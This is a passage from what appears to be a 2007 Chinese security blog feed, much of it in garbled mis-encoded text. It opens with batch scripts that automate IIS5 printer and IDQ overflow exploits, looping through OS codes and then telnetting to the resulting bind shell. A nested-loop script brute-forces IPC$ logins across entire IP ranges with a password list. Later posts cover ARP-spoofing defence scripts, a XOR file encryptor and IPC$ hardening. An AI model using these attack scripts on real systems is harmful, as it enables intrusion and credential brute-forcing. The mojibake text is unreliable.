ping %1 -n 1 | find "Received = 1" /*ping目标1ơ,从结果中发现Received = 1
if errorlevel 1 goto error /*如果q回代码?则执行errorD?代码1为没有发?0为发现ƈ成功执行)
iis5hack %1 80 9 88 | find "good" /*开始溢出目标端?0 pȝ代码9 溢出后连接端?8 在执行结果中发现字符?#8221;good”(溢出成功后才会有字符串good)
if not errorlevel 1 goto telnet /*如果没有错误代码1Q溢出成功)执行telnetD늚内容?
echo 操作pȝcd 9 p|! /否则昄q一?
:8 /*以下代码内容参照上面
iis5hack %1 80 8 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 8 p|!
:7
iis5hack %1 80 7 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 7 p|!
:6
iis5hack %1 80 6 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 6 p|!
:5
iis5hack %1 80 5 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 5 p|!
:4
iis5hack %1 80 4 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 4 p|!
:3
iis5hack %1 80 3 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 3 p|!
:2
iis5hack %1 80 2 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 2 p|!
:1
iis5hack %1 80 1 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 1 p|!
:0
iis5hack %1 80 0 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作pȝcd 0 p|!
goto error
:telnet
telnet %1 88 /*开始连接目标ip?8端口
goto exit /*q接中断后蟩转exitD?
:error /*errorD|C错误后的帮助信?
echo 可能|络不能q接或者对方以修补该漏z?h照下面的格式手工试一?
echo iis5hack [目标IP] [WEB端口] [pȝcd] [开攄口]
ECHO 中文: 0
ECHO 中文+sp1: 1
ECHO 英文: 2
ECHO 英文+sp1: 3
ECHO 日语: 4
ECHO 日语+sp1: 5
ECHO 韩文: 6
ECHO 韩文+sp1: 7
ECHO 墨西哥语: 8
ECHO 墨西哥语+sp1: 9
goto exit /*跌{exitD?
:file /*fileD|C文件没有发现的信息
echo 文giis5hack.exe没有发现!E序l止q行!
goto exit /*跌{exitD?
:help /*helpD|C本批处理的使用格式帮助
echo 本程序用法如?
echo iis [目标ip]
echo iis [目标ip] [开始的L9-0]
:exit /*exitDؓE序出口
q个批处理基本没有什么@环只是一路走下来。所以代码比较长隑ֺ不大Q?
例二
q个例子是用iisidq.exeҎidq漏洞的机器进行溢出的批处理。用的E序有iisidq.exe和系l自带的E序telnet.exe。iisidq.exe的用法如下:
q行参数: 操作pȝcd 目的地址 web端口 1 溢出监听端口 <输入命o1>
其中,如果输入命o参数没有输入,那么,默认?"cmd.exe"?
其中操作pȝcdcd的代码范围是0-14。我们编制的批处理用的命o格式?<idq.bat 目标ip>E序如下Q?
@echo off /*同例一
if not EXIST iisidq.exe goto file /*同例一
if %1 == "" goto error /*同例一
ping %1 -n 1 | find "Received = 1" /*同例一
if errorlevel 1 goto error1 /*同例一
set b=%1 /*创徏一个环境变量b,变?1的内容传递给环境变量b。变量b的内容以后将是目标ip
set a=0 /*创徏一个环境变量aq指定环境变量a?。由于用整个批处理的@环所以用a来做计数器?
:no /*noD开?
if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d讑֮环境变量d=0?
if %a%==1 set d=1 /*环境变量d其实是操作系l类型代码,用计数器来控制其
if %a%==2 set d=2 /*变动?
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /*变量传递完成后转到标志0处运?
:1
echo 正在执行W?d%?与目?b%不能q接!正在试q接L?.....
:0 /*标志0开?
IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令ƈ在结果中发现字符串goodQ发送代码成功才会有字符串goodQ?
if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成?
/*转标?处l尝试发?
ping 127.0.0.1 -n 8 >nul /*ping自己8ơ相当于延时8U不昄?
/*行结?
echo 正在执行W?d%? /*报告正在溢出的操作系l类?
telnet %b% 99 /*q接溢出端口
echo. /*昄一个空?
if %d%==14 goto error1 /*如果操作pȝcd?4则蟩转error1处(循环出口Q?
if %d%==13 set a=11 /*开始用计数器对操作pȝ代码重新附?
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /*附值完成蟩转noD|?
:file /*以下都是出错后的帮助提示
echo IIsidq.exe没有发现!该文g和本文g攑֜同一目录!
goto exit
:error
echo 错误!目标ip不可识别!请用下面的格式q接!
echo idq [目标IP]
goto exit
:error1
echo q接没有成功!可能目标机器已经修补了该漏洞或者网l故障所?
echo h照下面的格式手工试!
echo iisidq [目标cd] [目标IP] [目标端口] [q接方式] [溢出端口]
echo telnet [目标ip] [溢出端口]
:exit /*整个E序的出?
q个批处理采用的整体循环掌握好计数器部分掌握了q个批处理?
例三
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f
上面的命令ؓ1条命令。大家可以看命o使用?个FOR来套用的。用法ؓQC:\>TEST.BAT 218 当输?18回R后该命o会由W?个for取初始??%a然后l箋取第2个for的初始??%bl箋取第3个for的初始??%c最后一个for是将userpass.txt中的W一D字W作为密?%eW二D字W作为用户名%%f最后执行命?(q里我把上面的值都带进去,讑֯码ؓ123 用户名ؓ abc)
net usr \\218.0.0.1\ipc$ 123 /u:abc
当然上面q个例子可能有些朋友会说太简单ƈ且太L不灵zR我把这个例子做了些修改Q完整文件见光盘ipc.batQ由兴趣的朋友可以自q看。修改后的程序可以灵zȝ查找你指定开始到l束或你指定开始到最大ip的范围。当然功能还可以在加强,至于能加强到什么地步能不能成ؓ一个新的工具那是你的事了?
q个的@环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了,大家好好的参考上面的内容你会很快看懂q个批处理的。看懂了得不要说单哦Q最Lq是个没有用Q何第三方工具p探测q保存弱口o的批处理了!Q简单的改一Ҏ伤力q是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点是只有一个批处理文gq且l对不会误报。缺点就是太长!

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=725728



ThinkingTalking 2007-10-28 18:54 发表评论
]]>
一ơARPd的防?/title><link>http://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156480.html</link><dc:creator>ThinkingTalking</dc:creator><author>ThinkingTalking</author><pubDate>Sun, 28 Oct 2007 07:37:00 GMT</pubDate><guid>http://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156480.html</guid><wfw:comment>http://www.aygfsteel.com/ThinkingTalking/comments/156480.html</wfw:comment><comments>http://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156480.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/ThinkingTalking/comments/commentRss/156480.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/ThinkingTalking/services/trackbacks/156480.html</trackback:ping><description><![CDATA[今天太点呗了。早?点v来,刚打开电脑Q就听见瑞星防火墙发报,提示说有ARPƺ骗包访问,被防火墙拒绝?br /> 晕,今天怎么了?什么ARPQ不太了解阿Q算了,有问题就要解冻I特别是这L问题啊。?br /> 我们寝室里三台电脑,用\由器上网。ؓ什么它们的没有什么反应呢Q难道它们已l中了?我查看\由器MAC地址Q比对它们电脑里的ARP~存表,一看。。呵?Q全中了。?br /> q好我的防火墙有ARP防护功能。要不。。?br /> 下一步,查根源。根据瑞星提C,路由的MAC地址被篡改ؓ其他的(实际上不会被改,也不可能被改Q)Q由于ARPd是内|攻击,所以我先从寝室的三台电脑查Q我把它们的IP及MAC地址Q均d到ARP静态列表里Q把路由的也加过去,忽然发现Q呵呵,路由的IP和寝室一哥们的电脑的MAC邦定了。呵呵,肯定是他中了。病毒把路由的IP和他的MAC邦定后,不停的响应我们发出去的数据包Q还好不怎么厉害Q没有造成|络中断Q至于被中马的那哥们Q一问是昨晚刚装完系l还没有装防火墙Q晕。?br /> 好了Q一ơ突然的ARP防MQ让我对ARP有了更深ȝ了解?br /> 说几Ҏ意事:<br /> 1。电脑要装上有ARP防M功能的防火墙Q现在挺多的。?br /> 2。我寝室׃台电脑,比较好查Q如果多麻烦了Q所以徏议把内网划分虚拟|络Q那样一斚w比较好找目标Q另一斚wQ别的虚拟网D늚用户中马后,不会q扰你这个网D늚?br /> <img src ="http://www.aygfsteel.com/ThinkingTalking/aggbug/156480.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/ThinkingTalking/" target="_blank">ThinkingTalking</a> 2007-10-28 15:37 <a href="http://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156480.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>~写一个加/解密E序http://www.aygfsteel.com/ThinkingTalking/archive/2007/09/30/149968.htmlThinkingTalkingThinkingTalkingSun, 30 Sep 2007 10:27:00 GMThttp://www.aygfsteel.com/ThinkingTalking/archive/2007/09/30/149968.htmlhttp://www.aygfsteel.com/ThinkingTalking/comments/149968.htmlhttp://www.aygfsteel.com/ThinkingTalking/archive/2007/09/30/149968.html#Feedback0http://www.aygfsteel.com/ThinkingTalking/comments/commentRss/149968.htmlhttp://www.aygfsteel.com/ThinkingTalking/services/trackbacks/149968.html 2.双击"work space"中后~?cpp的文?~写代码如下,?E序自n已给Z一部分代码,补充完整是?

// 17.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "stdio.h"


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  // TODO: Place code here.
    if(!strlen(lpCmdLine))
 {
  MessageBox(NULL,"请先选择文g,把文件拖q来!","出错?",MB_ICONINFORMATION);
  return 0;
 }
 FILE *fp1,*fp2;
 fp1=fopen(lpCmdLine,"rb");
 if(fp1==NULL)
 {MessageBox(NULL,"文g无法打开!","出错?",MB_ICONERROR);
 return 0;
}
 char stmpname[MAX_PATH];
 strcpy(stmpname,lpCmdLine);
 strcat(stmpname,".tmp");
 fp2=fopen(stmpname,"wb");
 if(fp2==NULL)
 {
  MessageBox(NULL,"文g无法写入!","出错?",MB_ICONERROR);
  return 0;
 }
 char c=fgetc(fp1);
 char ch=0;
 while(!feof(fp1))
 {
  ch=c^233;
  fputc(ch,fp2);
  c=fgetc(fp1);
 }
 fclose(fp1);
 fclose(fp2);
 if(!DeleteFile(lpCmdLine))
 {
  DeleteFile(stmpname);
  MessageBox(NULL,"文g被占?","出错?",MB_ICONERROR);
  return 0;
 }
 MoveFile(stmpname,lpCmdLine);
 MessageBox(NULL,"?解密已完?","恭喜!",MB_ICONINFORMATION);


 return 0;
}

注意Q?7.cpp是我的文件名Q将相关内容替换是了?/font>


3。如何用呢?/font>

例如一张hei.jpg?a class="UBBWordLink" target="_blank">囄拖入~绎好的EXE文gQ再q行一个这?a class="UBBWordLink" target="_blank">囄Q你会发C么也没有了,被加密了Q再?a class="UBBWordLink" target="_blank">囄拖入EXE文gQ然后再q运Q显C正常,也就完成解密了?/font>

直接双击q行会出错的!

囑փ原来的样?/span>把图像拖q?7.exe 后的成功提示,q里是加密成功了!!


再运行一下hei.jpg,提示"没有预揽",说明加密成功!

再将拖进17.exe,完成解密!!

再浏览一遍原囑փ.

有一个问?是我把它放在桌面上q行,它会提示文g无法打开?但放在D盘又或者是其它盘却可以成功?/span>



ThinkingTalking 2007-09-30 18:27 发表评论
]]>
利用批处理文仉御ARPdhttp://www.aygfsteel.com/ThinkingTalking/archive/2007/09/30/149756.htmlThinkingTalkingThinkingTalkingSun, 30 Sep 2007 01:14:00 GMThttp://www.aygfsteel.com/ThinkingTalking/archive/2007/09/30/149756.htmlhttp://www.aygfsteel.com/ThinkingTalking/comments/149756.htmlhttp://www.aygfsteel.com/ThinkingTalking/archive/2007/09/30/149756.html#Feedback0http://www.aygfsteel.com/ThinkingTalking/comments/commentRss/149756.htmlhttp://www.aygfsteel.com/ThinkingTalking/services/trackbacks/149756.html

通过伪造IP地址和MAC地址实现ARPƺ骗Q能够在|络中生大量的ARP通信量|络dQ?a class="UBBWordLink" target="_blank">d者只要持l不断的发出伪造的ARP响应包就能更改目标主机ARP~存中的IP-MAC条目Q造成|络中断或中间hd?本文介绍了四U利用自制批处理文g来防御ARPd的方法?br />
一、把下面语句~成BAT处理文g可以搞?/strong>

@echo off
            ::d本机Mac地址
            if exist ipconfig.txt del ipconfig.txt
            ipconfig /all >ipconfig.txt
            if exist phyaddr.txt del phyaddr.txt
            find "Physical Address" ipconfig.txt >phyaddr.txt
            for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M
            ::d本机ip地址
            if exist IPAddr.txt del IPaddr.txt
            find "IP Address" ipconfig.txt >IPAddr.txt
            for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I
            ::l定本机IP地址和MAC地址
            arp -s %IP% %Mac%
            ::d|关地址
            if exist GateIP.txt del GateIP.txt
            find "Default Gateway" ipconfig.txt >GateIP.txt
            for /f "skip=2 tokens=13" %%G in (GateIP.txt) do set GateIP=%%G
            ::d|关Mac地址
            if exist GateMac.txt del GateMac.txt
            arp -a %GateIP% >GateMac.txt
            for /f "skip=3 tokens=2" %%H in (GateMac.txt) do set GateMac=%%H
            ::l定|关Mac和IP
            arp -s %GateIP% %GateMac%
            arp -s |关IP |关MAC
            exit

q个批处理要查询本机的ARP ~存表,看里面是不是有网关的IP和MACQ有则能成功

l定Q但是没有的话就l不定了Q!Q不q可以改q一下,辑ֈ双绑的目的,比如

加上arp -s |关IP |关MAC一行就可以了。。?br />
二、这个也不能实现真正意义的双l,只能l定本机IP和MAC

@echo off
            for /f "delims=: tokens=2" %%a in (ipconfig /all^|find "Physical Address") do set local_mac=%%a
            for /f "delims=: tokens=2" %%a in (ipconfig /all^|find "IP Address") do set local_ip=%%a
            for /f "delims=: tokens=2" %%a in (ipconfig /all^|find "Default Gateway") do set gate_ip=%%a
            fo* /* %%* in (getmac /nh /s %local_ip%) do set gate_mac=%%a
            arp -s %local_ip% %local_mac%
            arp -s %gate_ip% %gate_mac% Q这个地Ҏ问题Q改q中……Q?/pre>
            

l测试,此批处理不能l定|关IP和MACQ只能绑定本机IP和MAC

三、这个还不是很清楚,我要试才行的,目前所知也能绑定本机IP和MAC

@ECHO OFF
            SETLOCAL ENABLEDELAYEDEXPANSION
            for /f "tokens=2 delims=[]=" %%i in (nbtstat -a %COMPUTERNAME%) do call set local=!local!%%i
            for /f "tokens=3" %%i in (netstat -r^|find " 0.0.0.0") do set gm=%%i
            for /f "tokens=1,2" %%i in (arp -a %gm%^|find /i /v "inter") do set gate=%%i %%j
            arp -s %gate%
            arp -s %local%
            arp -s |关IP |关MAC


q个批处理可以绑定网关IP和MACQ但是还是有~陷Q要依赖于本Z存在的ARP~存Q?br />
改进Ҏ为在最后加一个arp -s |关IP和MAC!

四、原理和W一个一?只是改进了一点点Q?/strong>

q个P通过ping|关三次得到了网关的MAC其实以上的批都可以通过q个来搞定网关的IP和MACQ?br />
但是如果开机的时候正在发生ARPƺ骗的话 q样你绑的IP和MAC是错的Q不能上|了?/p>
@echo off
            :::::::::::::清除所有的ARP~存
            arp -d
            :::::::::::::d本地q接配置
            ipconfig /all>ipconfig.txt
            :::::::::::::d内网|关的IP
            for /f "tokens=13" %%I in (find "Default Gateway" ipconfig.txt) do set GatewayIP=%%I
            ::::::::::::ING三次内网|关
            ping %GatewayIP% -n 3
            :::::::::::::d与网关arp~存
            arp -a|find "%GatewayIP%">arp.txt
            :::::::::::::d|关MACq绑?
            for /f "tokens=1,2" %%I in (find "%GatewayIP%" arp.txt) do if %%I==%GatewayIP% arp -s %%I %%J
            :::::::::::::d本机?IP+MAC
            for /f "tokens=15" %%i in (find "IP Address" ipconfig.txt) do set ip=%%i
            for /f "tokens=12" %%i in (find "Physical Address" ipconfig.txt) do set mac=%%i
            :::::::::::::l定本机?IP+MAC
            arp -s %ip% %mac%
            :::::::::::::删除所有的临时文g
            del ipconfig.txt
            del arp.txt
            exit

不过q种情况很少Q发q来试一下先吧!

以上P可以配合路由上对客户机的IP和MACq行l定实现完全防ARPQ只是单l下面机和网关IP及MAC

没有多大用处Q关于\׃面的Q因为大家用的\׃一P所以这个就不写?/p>

 



ThinkingTalking 2007-09-30 09:14 发表评论
]]>
如何止匿名用户q接你的IPC$׃nQ?/title><link>http://www.aygfsteel.com/ThinkingTalking/archive/2007/09/30/149751.html</link><dc:creator>ThinkingTalking</dc:creator><author>ThinkingTalking</author><pubDate>Sun, 30 Sep 2007 01:05:00 GMT</pubDate><guid>http://www.aygfsteel.com/ThinkingTalking/archive/2007/09/30/149751.html</guid><wfw:comment>http://www.aygfsteel.com/ThinkingTalking/comments/149751.html</wfw:comment><comments>http://www.aygfsteel.com/ThinkingTalking/archive/2007/09/30/149751.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/ThinkingTalking/comments/commentRss/149751.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/ThinkingTalking/services/trackbacks/149751.html</trackback:ping><description><![CDATA[<p><span style="font-size: 12px">我们可以通过修改注册表来实现<br /> Key:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa<br /> Name: RestrictAnonymous<br /> Type: REG_DWORD<br /> Value: 0 | 1 | 2<br /> 说明Q?br /> 0Q默认开?br /> 1Q匿名用h法列举主机用户列表;<br /> 2Q匿名用h法连接你的IPS$׃nQ不使用Q否则可能会造成你的一些服务无法启动,如SQL Server...<br /> <br /> 也可以执行gpedit.msc打开本地<a class="UBBWordLink" target="_blank">安全</a>{略Q?a class="UBBWordLink" target="_blank">~辑</a>“计算机配|?#8221;--“<a class="UBBWordLink" target="_blank">Windows</a>讄”--“<a class="UBBWordLink" target="_blank">安全</a>讄”--“本地{略”--“<a class="UBBWordLink" target="_blank">安全</a>选项”--“对匿名连接的额外限制”<br /> 0Q无Q依赖默认许可限?br /> 1Q不允许枚DSAM帐号和共?br /> 2Q没有显C匿名权限就无法讉K<br /> <br /> xp?003中,默认已经启用?#8220;不允许SAM帐户的匿名枚?#8221;Q但是没有启?#8220;不允许SAM帐户和共享的匿名枚D”?/span></p> <img src ="http://www.aygfsteel.com/ThinkingTalking/aggbug/149751.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/ThinkingTalking/" target="_blank">ThinkingTalking</a> 2007-09-30 09:05 <a href="http://www.aygfsteel.com/ThinkingTalking/archive/2007/09/30/149751.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <a href="http://www.aygfsteel.com/" title="狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频">狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频</a> </div> </footer> վ֩ģ壺 <a href="http://" target="_blank">º</a>| <a href="http://" target="_blank">Զ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">Ϫ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">̽</a>| <a href="http://" target="_blank">峣</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ƽȪ</a>| <a href="http://" target="_blank">ζ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">˹</a>| <a href="http://" target="_blank">ŷ</a>| <a href="http://" target="_blank">ƽ½</a>| <a href="http://" target="_blank">⴨</a>| <a href="http://" target="_blank">ʳ</a>| <a href="http://" target="_blank">ϳ</a>| <a href="http://" target="_blank">ͨμ</a>| <a href="http://" target="_blank">̨</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ʤ</a>| <a href="http://" target="_blank">̩</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">³</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">÷</a>| <a href="http://" target="_blank">½</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">Ѱ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ͬ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>